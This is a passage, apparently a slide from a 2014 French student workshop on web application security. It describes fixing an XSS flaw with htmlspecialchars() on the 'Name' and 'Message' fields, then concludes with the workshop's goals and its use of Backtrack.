  53. 53. Web App Security | SECURILIGHT 2014 52 High Level (Solution): En modifiant le code source de la sorte notre application n’est plus vulnérable. La fonction htmlspecialchars() appliquée aux champs « Name » et « Message » permet de filtrer les caractères spéciaux et donc les balises ce qui permet de protéger notre application 6.Conclusion Nous espérons à travers ces présentations avoir réussi à vous expliquer le principe des différentes failles pouvant exister dans une application Web et plus important que ça comment exploiter et sécuriser ces failles qui peuvent être dévastatrices pour le serveur hébergeant l’application s’il n’est pas bien protégé. A travers cet atelier on a pu améliorer nos compétences de travail en groupe et de partage de connaissances mais aussi l’utilisation d’outils spécialisés comme Backtrack qui est très puissant comme outil d’étude et de test

×